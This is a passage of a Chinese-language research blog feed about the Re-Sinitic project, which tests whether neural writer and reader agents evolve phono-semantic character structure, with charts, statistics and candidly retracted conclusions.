x="339.20000000000005" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.178</text><text x="437.6" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.295</text><text x="536" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">0.437</text></svg><figcaption>零樣本語音辨識率隨同音率上升（探索階段，n=36 run）</figcaption></figure>
<p>劑量點 r = +0.903，逐 run 迴歸（n=36）β = +0.366、t = +6.41、R² = 0.564。基線全程貼著 chance（1.5%）且不漂移。</p>
<p>早期資料裡，同音率極低的一組（v3）曾讓語音路看起來會把語意零樣本能力整個壓掉，像是「形符與聲符互斥」。用 72 個零樣本 run 直接檢定，那個說法不成立：36 個主力 run 裡有 <strong>15 個（42%）<strong>同時具備語意與語音兩種零樣本泛化。主力臂內部，語音泛化隨同音率上升（r = +0.748），語意泛化隨同音率下降（r = −0.273），兩者互為代價（r = −0.341）——是</strong>取捨</strong>，不是互斥。v3 之所以看起來像互斥，只是因為它的同音率落在曲線最左端，語音路在那裡幾乎只有干擾、沒有收益。</p>
<p>這兩者合起來是聲符與形符各自的核心功能——系統性的、可泛化到新字的編碼。先前所有指標（共部件率、純度、舊版雙重分離）都測不到它，因為它們建立在「已見過的字之間的關係」上，而差別只在泛化。</p>
<h3 id="但它們從未分工——換一把尺之後看得更清楚" class="phrased">但<wbr>它們<wbr>從未<wbr>分工——<wbr>換<wbr>一把<wbr>尺<wbr>之後<wbr>看得<wbr>更<wbr>清楚</h3>
<p>形聲的定義性特徵不是「字形帶語音資訊」，是<strong>字形在空間上可分解為兩個功能不同的部分</strong>（左形右聲）。最初的操作化是「雙重分離」：消融 Writer 的輸入（把語意向量或語音向量歸零），看 Reader 表現掉多少。<strong>這把尺測到的其實是「Writer 有沒有用到那條輸入」，不是「字形本身有沒有分成兩部分」</strong>——一個把語音資訊均勻塗滿整條字形的系統，在這個指標上會跟真正的形聲系統長得一模一樣。</p>
<p>換成直接遮字形的空間位置（5×5 網格的左半／右半），再測「同場題」（只靠形符答得出來）與「同音題」（只靠聲符答得出來）：</p>
<pre tabindex="0"><code>遮左   同場 −0.584   同音 −0.602
遮右   同場 −0.341   同音 −0.376
</code></pre>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="遮字形一半的傷害：同場題與同音題幾乎相同" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">同場</text><line x1="98" y1="10" x2="114" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="120" y="14" style="fill:var(--ink);font-size:11px">同音</text><line x1="44" y1="46" x2="536" y2="46" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">-0.70</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><rect x="135" y="46" width="30" height="171.8628571428571" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:0"></rect><text x="151" y="231.8628571428571" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.584</text><rect x="167" y="46" width="30" height="177.15999999999997" rx="2" class="chart-bar-negative" style="fill:var(--ink-dim);--i:1"></rect><text x="183" y="237.15999999999997" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.602</text><text x="167" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">遮左</text><rect x="381" y="46" width="30" height="100.35142857142858" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:2"></rect><text x="397" y="160.35142857142858" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.341</text><rect x="413" y="46" width="30" height="110.65142857142857" rx="2" class="chart-bar-negative" style="fill:var(--ink-dim);--i:3"></rect><text x="429" y="170.65142857142857" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.376</text><text x="413" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">遮右</text></svg><figcaption>遮字形一半的傷害：同場題與同音題幾乎相同</figcaption></figure>
<p>遮掉一半造成最多 71 個百分點的傷害——但對兩類題目的傷害幾乎完全相同（差 0.013–0.018）。字形的每一半都同時攜帶語意和語音兩種資訊，比例相同；左半承載的資訊多於右半，所以字形確實有空間結構，<strong>但那個結構不是形符和聲符</strong>。這是直接測到「沒有分工」，不再依賴會被均勻編碼混淆的代理指標。</p>
<p>⚠ <strong><code>spatial_dd</code> 這個指標本身的雜訊比它要偵測的效應大三倍</strong>——同一設定同一種子重跑，數值可以從 −0.137 跳到 +0.040（跨度 0.18，SESOI 只有 0.05），原因是訓練過程的浮點累加順序在不同 batch 形狀下不同，30000 步後被放大成完全不同的解。<strong>任何 <code>spatial_dd</code> 的單點數值都不可解讀，包括支持虛無的那些</strong>，結論改用多種子平均，或是像上面那樣直接比較同一次評估內部的兩個數字（遮左 vs 遮右的傷害）——那個對比不受訓練過程的混沌影響。</p>
<h2 id="三個階段各自的發現" class="phrased">三個<wbr>階段<wbr>各自<wbr>的<wbr>發現</h2>
<h3 id="s1-語音層可以從零演化出來" class="phrased">S1：<wbr>語音<wbr>層<wbr>可以<wbr>從零<wbr>演化<wbr>出來</h3>
<p>226 個詞、10 子音 8 母音、CV 音節模板、一個 D3 混淆通道。最佳設定下溝通成功率 85.4%、有同音詞的詞約 0.4%。</p>
<p>齊夫簡短律（M2，越常用的詞越短）成立，但要用 Tobit 迴歸而非 OLS——訊息長度有硬上界，多數詞卡在那個上界，是設限依變數，OLS 會把效果量低估數倍。噪音強度、長度懲罰、相鄰音節重複懲罰三者互相獨立：長度砍掉三成幾乎不影響音節重複率；OCP 懲罰能被最小化但買不到更低的重複率；噪音強度存在一個最適值，太少太多都同時讓溝通變差、重複變多。</p>
<h3 id="s2-同音壓力把字形推向語音編碼-但推的是取捨不是分工" class="phrased">S2：<wbr>同音<wbr>壓力<wbr>把<wbr>字形<wbr>推向<wbr>語音<wbr>編碼，<wbr>但推<wbr>的是<wbr>取捨<wbr>不是<wbr>分工</h3>
<p>自變數是湧現的同音率（0.013 → 0.496）。訓練候選數必須等於評估候選數（全詞表）——早期在遠比評估任務簡單的候選集上訓練，導致 Reader 準確率被低估三倍，衍生出的門檻式結論不重現，已撤回。隨劑量升高，聲符純度上升而形符純度崩塌——字形越來越像在編碼發音，那是拼音化的方向，不是形聲化的方向。</p>
<p>（先前這裡報過「雙重分離對同音率的迴歸全程為負」，用的是消融 Writer 輸入路徑的舊版指標。那個指標測不到形聲——見上面「換一把尺」——已改用直接遮字形空間的版本，結論見主結論。）</p>
<h3 id="s3-方言壓力讓-writer-放棄語音路-而不是把它隔離出來" class="phrased">S3：<wbr>方言<wbr>壓力<wbr>讓 Writer 放棄<wbr>語音<wbr>路，<wbr>而不是<wbr>把它<wbr>隔離<wbr>出來</h3>
<p>自變數是湧現的跨子群語音距離 D（0 → 0.59），漂變機制是條件化的規律音變——規則對所有詞一致，抽象音韻表徵完全可回復，排除了「對應根本不規律」這個混淆。</p>
<p>最強的訊號是消融：遮掉語音路造成的損失隨 D 單調下降，在最高劑量甚至變負——那條路已經是純粹的噪音，遮不遮都無所謂。跨方言壓力不會讓書寫系統重組成形符加聲符，它讓 Writer 逐步、完全地放棄語音通道。即使跨方言的對應完全規律，「發現那個抽象表徵」仍然比「忽略語音」難，系統選擇後者。</p>
<h2 id="為什麼沒有分工-三個候選解釋-全數直接測過-全數失敗" class="phrased">為什麼<wbr>沒有<wbr>分工：<wbr>三個<wbr>候選<wbr>解釋，<wbr>全數<wbr>直接<wbr>測過，<wbr>全數<wbr>失敗</h2>
<p>三個階段的結果指向同一件事：系統從來沒有理由「同時」使用兩條通道。它總是選一條——同音壓力下選語音，方言壓力下選語意。分工要划算，必須有某種力量讓「兩條各做一半」勝過「一條做全部」。論文列了三個候選，<strong>現在三個都直接測過了</strong>：</p>
<table tabindex="0">
<thead>
<tr>
<th>假設</th>
<th>操作</th>
<th><code>spatial_dd</code>（多種子平均）</th>
<th>部件複用率</th>
</tr>
</thead>
<tbody>
<tr>
<td>(b) 兩個目標可加</td>
<td>對抗式候選集（逼任一通道單獨都不夠用）</td>
<td>≈ 0</td>
<td>0.805</td>
</tr>
<tr>
<td>(c) 沒有習得成本</td>
<td>讀者換代</td>
<td>+0.003</td>
<td>0.633</td>
</tr>
<tr>
<td><strong>(a) 每個字都在訓練集裡</strong></td>
<td><strong>分離曝光</strong>——把「讀者只學過 70% 的字」這個限制直接放進訓練迴圈，Writer 的損失算在讀者沒看過的那 30%</td>
<td><strong>−0.001</strong></td>
<td><strong>0.966</strong></td>
</tr>
<tr>
<td>—</td>
<td>對照</td>
<td>+0.004</td>
<td>0.736</td>
</tr>
</tbody>
</table>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="三個候選解釋：部件複用率（分離曝光衝到全專案最高）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0.50</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">1</text><rect x="73.5" y="64.16999999999999" width="62" height="165.83" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="105.5" y="58.16999999999999" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.805</text><text x="105.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">目標可加</text><rect x="196.5" y="99.602" width="62" height="130.398" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="228.5" y="93.602" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.633</text><text x="228.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">沒有習得成本</text><rect x="319.5" y="31.00400000000002" width="62" height="198.99599999999998" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="351.5" y="25.00400000000002" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.966</text><text x="351.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">分離曝光</text><rect x="442.5" y="78.38400000000001" width="62" height="151.61599999999999" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:3"></rect><text x="474.5" y="72.38400000000001" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.736</text><text x="474.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">對照</text></svg><figcaption>三個候選解釋：部件複用率（分離曝光衝到全專案最高）</figcaption></figure>
<p>「分離曝光」是三個裡最直接的一個：不只是事後測「讀者認不認得沒學過的字」（那是零樣本探針），而是讓 Writer 在訓練當下就知道「有些字讀者永遠學不到，必須靠拆解才讀得懂」。結果：部件複用率衝到全專案最高的 0.966（三個種子 0.969 / 0.938 / 0.991），但 <code>spatial_dd</code> 平均是 0——分工的訊號完全沒有出現。曝光率壓得更低（0.4）時系統直接放棄溝通（部件數剩 4 個，準確率崩到 13.3%）。</p>
<blockquote>
<p><strong>三種介入都推動了部件化（複用率 0.736 → 0.805 → 0.966），沒有一個推動分工。可分解性與功能分化是兩件事，而這個系統只會做前者。</strong></p>
</blockquote>
<p>這個否定結論也不是只在一兩個劑量點上看到——擴到五個劑量 × 兩個種子的完整掃描，十格全部沒有達到最小有意義效應量，平均 −0.001，範圍 −0.075 到 +0.035，包括同音率最高、聲符原料理論上最充足的那一格。</p>
<p><strong>「模組化是習得性問題」原本是全專案講得最久、最被看好的解釋，直接測試的結果是它不成立。</strong> 分散式編碼（語音資訊瀰漫全字形）對神經 Reader 沒有任何劣勢——它看過全部 226 個字形，每個上萬次；對一個已經記住全表的讀者，「形符在左、聲符在右」和「兩者揉在六筆裡」解碼難度一樣，後者甚至更容易，因為參數自由度更高。逼系統面對沒學過的字，它選擇的答案是「把更多零件做成共用的」，不是「把零件分成兩組各司其職」。</p>
<p>目前沒有第四個候選解釋在排隊——這是研究過程裡一個誠實的空白，不是還沒做完的待辦。</p>
<h2 id="這些結論有多硬" class="phrased">這些<wbr>結論<wbr>有多硬</h2>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>狀態</th>
</tr>
</thead>
<tbody>
<tr>
<td>探索 / 確認</td>
<td><strong>確認階段已於 2026-08-27 執行，一次性，不得重跑。</strong> 主結果（存在）通過，劑量關係未通過</td>
</tr>
<tr>
<td>pre-registration</td>
<td>2026-08-23 凍結，2026-08-26 修訂一次（τ_end、S2 高劑量邊界、λ_len 的經驗基礎）</td>
</tr>
<tr>
<td>種子</td>
<td>探索階段每個劑量 3 個（prereg 要求確認階段 5 個）；確認階段同樣是 3 個，非原訂 5 個；v3（極低同音率）設定目前只有 1 個種子</td>
</tr>
<tr>
<td>詞表</td>
<td>單一詞表，單人標註。字形盲測顯示語意場 97.2% 可從語意單獨重建</td>
</tr>
<tr>
<td>最大的統計弱點</td>
<td>同音率與溝通成功率共線，r ≈ −0.95。「形聲跟著同音走」這個判定靠「係數消不消失」成立，係數大小本身不可解讀</td>
</tr>
<tr>
<td>確認階段的已知偏離</td>
<td>沿用探索階段 16 選 1 訓練的既有 artifact，未滿足修訂 1「訓練候選數等於評估候選數」的要求。<strong>已在 train 上驗證不影響結論</strong>：對齊候選數重訓後效應不減反增（+13.7% → +16.7%，t = +7.80），刻意不重用 heldout 以維持一次性紀律</td>
</tr>
<tr>
<td>判準已更換</td>
<td>不再用消融 Writer 輸入路徑的雙重分離（<code>dd_interaction</code>）——它測不到形聲；改用直接遮字形空間的版本（<code>spatial_dd</code>），但<strong>這個指標本身雜訊比效應大三倍</strong>，單點數值不可解讀，只能用多種子平均或同一次評估內的成分對比</td>
</tr>
<tr>
<td>已撤回的結論</td>
<td>S2 的「同音率 0.2 門檻」；S1 的 τ_end=0.2（未掃描選定的次佳值）；「形符與聲符互斥」；一組看似漂亮、但 4 個種子沒複製出來的「讀者換代 × 同音率」交互作用；探索階段的「隨同音壓力增強」（heldout 上 t = +1.63，未達顯著）</td>
</tr>
<tr>
<td>「為什麼沒有分工」</td>
<td>三個候選解釋（習得成本、目標可加、讀者換代）<strong>全數直接測過，全數失敗</strong>；目前無第四個候選</td>
</tr>
</tbody>
</table>
<h2 id="heldout-已經用完-不會再有第二次" class="phrased">heldout 已經<wbr>用完，<wbr>不會<wbr>再有<wbr>第二次</h2>
<p>第三集結尾的決策點——要不要動用 heldout——已經做了，而且是一次性的。之後任何新問題都只能在 train 226 詞或既有分析上回答，不能再拿 heldout 驗證，否則就不再是獨立確認。連確認階段自己留下的已知偏離，後續驗證都刻意改在 train 上做，沒有再碰 heldout。</p>
<h2 id="進行中" class="phrased">進行<wbr>中</h2>
<ul>
<li>「為什麼沒有分工」目前沒有候選解釋在排隊——下一步是想出新的候選，不是繼續測已經想到的三個</li>
<li>論文草稿中英文版已同步，準備投稿整理中</li>
<li>S1 音節重複率修好噪音強度後降到 27.9%（仍高於隨機期望約 7%），下一步查架構層面：Speaker 每個位置的輸入夠不夠分化</li>
<li>v3（極低同音率）設定補種子</li>
</ul>
<hr>
<p><em>最後更新：2026-08-28（三個候選解釋的測試結果、<code>spatial_dd</code> 的雜訊問題同步）。這篇會隨研究進度改寫，目前的標注（哪些結論已確認、哪些還在等驗證）尚未做完，之後的更新會逐步補齊，而不是重寫成新的一篇。</em></p>]]></content:encoded>
    </item>
    <item>
      <title>重言 Re-Sinitic：換一把尺之後，答案更乾脆了 - 研究日誌（三）</title>
      <link>https://blog.siao.ai/re-sinitic-03/</link>
      <guid isPermaLink="true">https://blog.siao.ai/re-sinitic-03/</guid>
      <pubDate>Thu, 27 Aug 2026 00:00:00 GMT</pubDate>
      <description>第二集找到聲符會湧現。這集發現形符其實也會湧現，兩者是取捨不是互斥——但緊接著發現，貫穿全專案的「雙重分離」指標從頭到尾測的不是形聲，換成直接遮字形空間之後，答案比先前任何一版都乾脆。探索階段到此結束，剩下唯一的決定是要不要動用 heldout。</description>
      <content:encoded><![CDATA[<blockquote>
<p>這篇是日誌，記的是當時的推論過程，其中部分結論後來已被修正。想看目前最新的整體結論，見<a href="/re-sinitic/">現況總覽</a>。</p>
</blockquote>
<p>第二集的結尾是聲符原則：語音資訊會湧現出一套可泛化到新字的編碼，但它取代語意，不與語意分工。這集本來要接著查「模組化是不是習得性問題」，結果先撞上兩件更急的事——一個是先前的結論裡有一半是錯的，另一個是量了兩年的指標可能從頭到尾沒量到重點。兩件事查完，探索階段就結束了。</p>
<h2 id="形符與聲符不是互斥-是取捨" class="phrased">形符與<wbr>聲符<wbr>不是<wbr>互斥，<wbr>是<wbr>取捨</h2>
<p>第二集報過一個副作用：同音率極低的那組資料（v3）裡，加上語音路會把原本能被拆解出語意的字形壓回 chance 等級——看起來像「一個字形要嘛表意要嘛表音，兩者互斥」。</p>
<p>那個說法在檢定之前只是個印象。用 72 個零樣本 run 直接測，情況不是那樣。</p>
<p>先修一個門檻的錯誤：68 個未見詞、chance ≈ 1.5%，先前用「2× chance」分類，等於只有 2 個詞落在門檻之上，完全在雜訊裡。改用 chance + 3 個標準誤 ≈ 5.8%：</p>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>兩者皆可拆解</th>
<th>僅語意</th>
<th>僅語音</th>
<th>皆無</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>主力</strong>（語音路開啟）</td>
<td><strong>15</strong></td>
<td>1</td>
<td>19</td>
<td>1</td>
</tr>
<tr>
<td><strong>基線</strong>（語音路關閉）</td>
<td>6</td>
<td><strong>26</strong></td>
<td>1</td>
<td>3</td>
</tr>
</tbody>
</table>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="36 個 run：語意／語音零樣本泛化的分佈" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">主力</text><line x1="98" y1="10" x2="114" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="120" y="14" style="fill:var(--ink);font-size:11px">基線</text><line x1="44" y1="252" x2="536" y2="252" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="153" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">15</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">30</text><rect x="73.5" y="149" width="30" height="103" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="89.5" y="143" text-anchor="middle" style="fill:var(--ink);font-size:11px">15</text><rect x="105.5" y="210.8" width="30" height="41.19999999999999" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:1"></rect><text x="121.5" y="204.8" text-anchor="middle" style="fill:var(--ink);font-size:11px">6</text><text x="105.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">兩者皆可拆解</text><rect x="196.5" y="245.13333333333333" width="30" height="6.866666666666674" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="212.5" y="239.13333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">1</text><rect x="228.5" y="73.46666666666667" width="30" height="178.53333333333333" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:3"></rect><text x="244.5" y="67.46666666666667" text-anchor="middle" style="fill:var(--ink);font-size:11px">26</text><text x="228.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">僅語意</text><rect x="319.5" y="121.53333333333333" width="30" height="130.46666666666667" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:4"></rect><text x="335.5" y="115.53333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">19</text><rect x="351.5" y="245.13333333333333" width="30" height="6.866666666666674" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:5"></rect><text x="367.5" y="239.13333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">1</text><text x="351.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">僅語音</text><rect x="442.5" y="245.13333333333333" width="30" height="6.866666666666674" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:6"></rect><text x="458.5" y="239.13333333333333" text-anchor="middle" style="fill:var(--ink);font-size:11px">1</text><rect x="474.5" y="231.4" width="30" height="20.599999999999994" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:7"></rect><text x="490.5" y="225.4" text-anchor="middle" style="fill:var(--ink);font-size:11px">3</text><text x="474.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">皆無</text></svg><figcaption>36 個 run：語意／語音零樣本泛化的分佈</figcaption></figure>
<p>36 個主力 run 裡有 15 個（42%）的字形，同時具備語意和語音兩種零樣本泛化能力。那是形聲的必要條件，而且經常被滿足。主力臂內部：</p>
<pre tabindex="0"><code>語音泛化 vs 同音率   r = +0.748
語意泛化 vs 同音率   r = −0.273
語意泛化 vs 語音泛化  r = −0.341
</code></pre>
<p>加上語音路會把字形從「語意可泛化」推向「語音可泛化」，同音壓力決定推多遠。<strong>兩者之間是取捨，不是互斥</strong>——第二集那個「語意方向隨劑量下降」的說法沒有錯，但它只是取捨曲線的一段，不是「兩者互斥」的證據。v3 之所以看起來像退化，是因為它的同音率只有 0.018，落在曲線最左端，語音路在那裡幾乎只有干擾、沒有收益。</p>
<p>到這裡，第一集就報過的「形符原則」（純表意基線的字形語意可拆解）第一次有了明確的量化位置：基線臂 36 個裡有 32 個具備語意零樣本泛化。這件事一直存在，只是先前沒有用同一套方法跟聲符放在一起看。</p>
<h2 id="但雙重分離這把尺-可能從頭到尾量錯地方" class="phrased">但<wbr>雙重<wbr>分離<wbr>這把尺，<wbr>可能<wbr>從頭到尾<wbr>量錯<wbr>地方</h2>
<p>正向結果變多了，但雙重分離——這個從第一集就撐著「形聲沒有湧現」這個主結論的指標——一直是負的，一次都沒轉正過。查到這裡開始覺得不對勁：如果聲符和形符都會湧現，為什麼分工的訊號完全量不到？</p>
<p>答案是這把尺本身量錯了東西。<code>dd_interaction</code> 消融的是 <strong>Writer 的輸入路徑</strong>——把語意向量或語音向量歸零，看 Writer 產出的字形變化多少。那測的是「Writer 有沒有用到那條輸入」，<strong>不是「字形本身有沒有分成兩個部分」</strong>。一個把語音資訊均勻塗滿整條字形的系統，在輸入消融上也會顯示同時依賴兩條路——它和一個真正左形右聲的系統，在這個指標上分不出來。</p>
<p><strong>整個專案一直在用一個測不到形聲的指標測形聲。</strong></p>
<h3 id="換一把尺-直接遮字形的空間" class="phrased">換<wbr>一把<wbr>尺：<wbr>直接<wbr>遮<wbr>字形<wbr>的<wbr>空間</h3>
<p>形聲的定義性特徵是空間上可分解——左形右聲。改成 5×5 網格，遮左半（10 格）或右半（10 格），中央欄不計，測兩類九選一題目：同場題（同語意場、語音遠，只靠形符答得出來）、同音題（語音近、跨語意場，只靠聲符答得出來）。</p>
<p>過程中修掉兩個會讓評估看起來正常、其實在說謊的缺陷：</p>
<details><summary>天花板：三選一讓兩類題目都跑到 100%</summary><p>消融測不出任何東西，而依變數飽和的效果量不該被解讀。改成九選一（全部 8 個同類硬干擾詞一起放進候選集）。這個坑挖得有點諷刺：對抗式干擾詞是為了讓題目有鑑別力才精心設計的，結果評估時只放了一個進去，設計對了、用法錯了。</p></details>
<details><summary>讀者未收斂：評估當下的讀者訓練不到 3000 步</summary><p>全詞表準確率掉到 chance——那不是字形不好，是讀者還沒學會讀。改成一律用全新訓練到收斂的讀者評估。意外的副產品：全新讀者的表現比先前共訓的讀者好上不少（63.3% vs 38.1%）——先前那對「有默契」的網路其實卡在次佳解上，一路低估了字形本身的品質。</p></details>
<h3 id="結果-一個漂亮的-2×2-被自己的複製推翻" class="phrased">結果：<wbr>一個<wbr>漂亮<wbr>的 2×2，<wbr>被<wbr>自己<wbr>的<wbr>複製<wbr>推翻</h3>
<p>種子 0 的第一組結果看起來像個完整的故事：讀者換代會把 <code>spatial_dd</code> 往正推，而且只有同音率夠高那格才越過事先定的顯著性門檻（SESOI）——聲符需要原料，分解需要划算，兩個條件缺一不可。</p>
<p>三個新種子重跑同一組設定，判準寫在腳本裡、寫在看到資料之前：</p>
<pre tabindex="0"><code>種子      無換代     有換代        差
  0     -0.0177   +0.0531   +0.0708
  1     +0.0708   +0.0310   -0.0398
  2     +0.0133   -0.0265   -0.0398
  3     -0.0044   -0.0442   -0.0398

平均    +0.0155   +0.0033   -0.0122     配對 t = -0.44
</code></pre>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="讀者換代對 spatial_dd 的效果：4 個種子，沒有一致方向" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">無換代</text><line x1="105" y1="10" x2="121" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="127" y="14" style="fill:var(--ink);font-size:11px">有換代</text><line x1="44" y1="172.76923076923077" x2="536" y2="172.76923076923077" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">-0.05</text><text x="36" y="176.76923076923077" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0.08</text><rect x="73.5" y="172.76923076923077" width="30" height="28.0476923076923" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:0"></rect><text x="89.5" y="214.81692307692308" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.0177</text><rect x="105.5" y="88.62615384615385" width="30" height="84.14307692307692" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:1"></rect><text x="121.5" y="82.62615384615385" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.0531</text><text x="105.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">種子 0</text><rect x="196.5" y="60.57846153846154" width="30" height="112.19076923076923" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="212.5" y="54.57846153846154" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.0708</text><rect x="228.5" y="123.64615384615385" width="30" height="49.12307692307692" rx="2" class="chart-bar-positive" style="fill:var(--ink-dim);--i:3"></rect><text x="244.5" y="117.64615384615385" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.031</text><text x="228.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">種子 1</text><rect x="319.5" y="151.69384615384615" width="30" height="21.07538461538462" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:4"></rect><text x="335.5" y="145.69384615384615" text-anchor="middle" style="fill:var(--ink);font-size:11px">0.0133</text><rect x="351.5" y="172.76923076923077" width="30" height="41.99230769230769" rx="2" class="chart-bar-negative" style="fill:var(--ink-dim);--i:5"></rect><text x="367.5" y="228.76153846153846" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.0265</text><text x="351.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">種子 2</text><rect x="442.5" y="172.76923076923077" width="30" height="6.97230769230768" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:6"></rect><text x="458.5" y="193.74153846153845" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.0044</text><rect x="474.5" y="172.76923076923077" width="30" height="70.03999999999999" rx="2" class="chart-bar-negative" style="fill:var(--ink-dim);--i:7"></rect><text x="490.5" y="256.8092307692308" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.0442</text><text x="474.5" y="282" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">種子 3</text></svg><figcaption>讀者換代對 spatial_dd 的效果：4 個種子，沒有一致方向</figcaption></figure>
<p>有換代那組 4 個裡只有 2 個是正的，平均反而比沒換代的對照組更低。<strong>那個很好的故事是錯的，撤回。</strong></p>
<h3 id="但空間版本身測到了一件結實的事" class="phrased">但<wbr>空間<wbr>版<wbr>本身<wbr>測<wbr>到了<wbr>一件<wbr>結實<wbr>的事</h3>
<p>拿掉那個沒撐住的 2×2 敘事之後，遮字形一半這個做法本身給出一個非常乾脆的結果：</p>
<pre tabindex="0"><code>遮左   同場 −0.584   同音 −0.602
遮右   同場 −0.341   同音 −0.376
</code></pre>
<figure class="chart"><svg viewBox="0 0 560 302" role="img" aria-label="遮字形一半的傷害：同場題與同音題幾乎相同" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="10" x2="60" y2="10" style="stroke:var(--accent);stroke-width:2"></line><text x="66" y="14" style="fill:var(--ink);font-size:11px">同場</text><line x1="98" y1="10" x2="114" y2="10" style="stroke:var(--ink-dim);stroke-width:2;stroke-dasharray:5,4"></line><text x="120" y="14" style="fill:var(--ink);font-size:11px">同音</text><line x1="44" y1="46" x2="536" y2="46" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="256" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">-0.70</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="50" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><rect x="135" y="46" width="30" height="171.8628571428571" rx="2" class="chart-bar-negative" style="fill:var(--accent);--i:0"></rect><text x="151" y="231.8628571428571" text-anchor="middle" style="fill:var(--ink);font-size:11px">-0.584</text><rect x="167" y="46" width="30" height="177.15999999999997" rx="2" class="chart-bar-negative" 